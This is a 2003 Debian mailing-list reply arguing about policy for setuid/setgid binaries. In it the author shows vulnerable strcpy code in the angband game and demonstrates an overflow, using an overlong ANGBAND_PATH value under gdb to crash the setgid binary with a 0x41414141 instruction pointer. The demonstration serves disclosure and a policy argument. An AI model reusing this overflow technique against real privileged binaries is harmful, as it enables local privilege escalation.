Re: setuid/setgid binaries contained in the Debian repository.
On Sat, Aug 02, 2003 at 05:38:41PM -0500, Manoj Srivastava wrote:
> On Sat, 2 Aug 2003 16:55:12 -0400, Matt Zimmerman <mdz@debian.org> said:
> > The rules in this section are guidelines for general use. If
> > necessary you may deviate from the details below. However, if
> > you do so you must make sure that what is done is secure and
> > you should try to be as consistent as possible with the rest of
> > the system. You should probably also discuss it on
> > `debian-devel' first.
>
> Hmm. Discuss is a far cry from requiring consensus, or permission.
Perhaps the language should be adjusted a bit from Joey's original. It was
not meant to serve as a roadblock but to encourage discussion. Though,
even with the language "...a consensus [...] has been reached", the
important part is "you should" meaning that this is a recommendation.
> You are reiterating what I said -- someone with security
> experience reviewed the program, and that produced results. If people
> are there who have the time, inclination, and expertise to review
> these programs, then I would agree with you.
Earlier in this thread, Steve Kemp and I volunteered to be two of the people
who will be reviewing these issues. I would assume that there are others
reading debian-security who will have insight as well, but two is more than
enough to do some good.
> > On what experience do you base this assumption? I have often found
>
> Common sense. See, I am going to tell you that /usr/bin/bar in
> package foo needs to be really, truly, cross my heart setgid baz;
> since it maintains a common set of files owned by baz and shared
> between any user of the machine.
>
> Without looking at the code, how can you tell that it does not
> need the privilege?
> [...]
> I have brought /usr/bin/bar up for discussion now. I am
> anxious to see how it can be improved by this discussion.
I would look at the code in that situation, of course. Perhaps then it
would turn out that the upstream author never intended for this program to
run setid (or had no knowledge of basic security practices), and baz
happened to be group shadow, and you were making a poor decision.
But the more common scenarios are things like "I think this program needs to
be setuid in order to read and write <some file>" or "I want to make
<program> setuid [when it was not designed to operate setid]" which are
often incorrect.
If your primary concern is about the traditional setgid-games configuration,
can you suggest a modification to the text which would address that concern?
Bear in mind, the risks involved in setgid-games vulnerabilities are real,
and go beyond forging high scores and saved games, and I believe that a
certain minimum level of discretion should be applied, as with any setid
program.
> Anyway, if it is all that simple and sensible, Why do we need
> policy to tell us to do normal, sensible, security related things?
Many maintainers are simply not aware of good security practices. This is
not because they are stupid or incompetent; it is because the issues are
often subtle and they have never learned good security habits. Many
programmers can look at a line of code like strcpy(foo, bar) without
flinching, while it might make a security expert's skin crawl.
We do not require maintainers to have this kind of expertise, so why would
you expect it of them?
> > Yes, it is my characterization, based on your comments. No, this does
> > not apply to any disagreement, but specifically to your disagreement in
> > this instance. No, I do not perceive any proposals I make to be so
> > adversarial.
>
> Seems to me I started out by asking whether this proposal
> would be a better fit for the developers reference, and, when asked,
> expanded on why I thought so.
>
> From where I stand, sure feels like you have a chip on your
> shoulder when it comes to this proposal.
> > I perceive you to be adversarial when I politely correct you,
> > present a clarification, and ask "what is your objection?" and you
> > reply with "You are being disengenuous" and "Making the dir world
> > writable is not a solution". The former being insulting and untrue,
> > and the latter a gross misrepresentation.
>
> This, sir, is a lie.
This statement has very little meaning from you.
> I did not call you disingenuous for asking for clarification, I
> called you disingenuous for stating that setgidness of programs is
> merely a packaging issue; and implying that program design and
> implementation were not involved.
To clarify yet again, the statement in question was "File permissions and
program privileges are clearly a packaging matter." I never said it was
"just" or "merely" a packaging issue, while you have tried to put both of
those words in my mouth.
Of course these issues have an effect on program design and implementation;
so does nearly every other aspect of packaging. But it remains true that
file permissions and program privileges are a matter of Debian policy, and a
significant part of the packaging process for nontrivial programs.
You had no excuse for accusing me of being disingenuous, and you have yet to
retract this accusation.
> Obviously, something that is just a packaging issue can be
> handled by changing the packaging process (adding lines to the rules
> file).
"just"...?
> Let us get down to specific examples, then: One such setgid
> package I am familiar with is angband; andband writes data files,
> user and class macros, save files, and high scores in
> /var/games/angband. Whenever the user edits some files in
> /etc/andband/*; files in /var/games/angband/data/* are modified by
> the program the next time it runs; and these files are then used by
> all subsequent invocations.
That's nice. angband links with every library on the planet, including X11.
This should be easy.
[...about 2 minutes later...]
Even easier than I thought.
mizar:[...ity/angband/angband-291/src] tail +81 main.c | head -30
static void init_stuff(void)
{
char path[1024];
#if defined(AMIGA) || defined(VM)
/* Hack -- prepare "path" */
strcpy(path, "Angband:");
#else /* AMIGA / VM */
cptr tail;
/* Get the environment variable */
tail = getenv("ANGBAND_PATH");
/* Use the angband_path, or a default */
strcpy(path, tail ? tail : DEFAULT_PATH);
/* Hack -- Add a path separator (only if needed) */
if (!suffix(path, PATH_SEP)) strcat(path, PATH_SEP);
#endif /* AMIGA / VM */
/* Initialize */
init_file_paths(path);
}
mizar:[...ity/angband/angband-291/src] ANGBAND_PATH=`perl -e 'print "A" x 1050'` gdb /usr/games/angband
GNU gdb 5.3.90_2003-06-29-cvs-debian
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) r
Starting program: /usr/games/angband
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
> You think that the setgidness of this binary is merely a
> packaging issue? I'd be happy to get a patched rules file that would
> allow me to do away with the setgid angband binary.
I'd be happy if you would check your package for trivial security exploits
before uploading it to Debian.
> > Coincidentally, your straw man example is almost exactly what
> > happened in DSA-299.
>
> And the fix was to just package the code differently?
Yes. The maintainer (apparently) slapped the setuid bit on the program so
that unprivileged users could use the program to write to its data file.
The program was obviously never designed to run setuid, and this resulted in
a trivial local root exploit on any system with this package installed. The
fix was to remove the setuid bit.
> The disingenuity comes from the statement that these are just
> superficial packaging matters -- instead of often complex fixes to
> the underlying code.
"just"...?
> > None of these questions apply to a setuid/setgid recommendation for
> > discussion any more or less than they apply to a recommendation for
> > discussion of pre-depends, essential: yes, using permissions other
> > than those recommended in section 10.9, etc.
>
> In the case of something proposed as essential, while the
> question is being discussed, the package is in the project, and is
> providing utility to the users.
10.9. Permissions and owners
----------------------------
The rules in this section are guidelines for general use. If
necessary you may deviate from the details below. However, if you do
so you must make sure that what is done is secure and you should try
to be as consistent as possible with the rest of the system. You
should probably also discuss it on `debian-devel' first.
Note the word "first".
> If this is used as a gating mechanism, then ITP'd packages
> shall be in limbo until someone gets around to providing the proper
> penguin pee to bless its entrance into unstable.
Personally, I would not shed any tears if ITP'd packages containing setuid
programs were delayed for a few days while other developers have the chance
to look over them. New packages are not processed immediately anyway, so
even if the discussion started while the package was still in NEW, common
problems could likely be avoided before the package enters unstable.
> > fact is, many programs run with privileges that they do NOT require
> > in order to function acceptably, or even fully, and I want to
> > promote discussion in order to prevent that situation.
>
> Why do we need policy to tell us to do what you suggest are
> good, common sense things?
As the maintainer of a package containing a setgid program with a glaring
security hole, perhaps you can tell me.
--
- mdz
Reply to: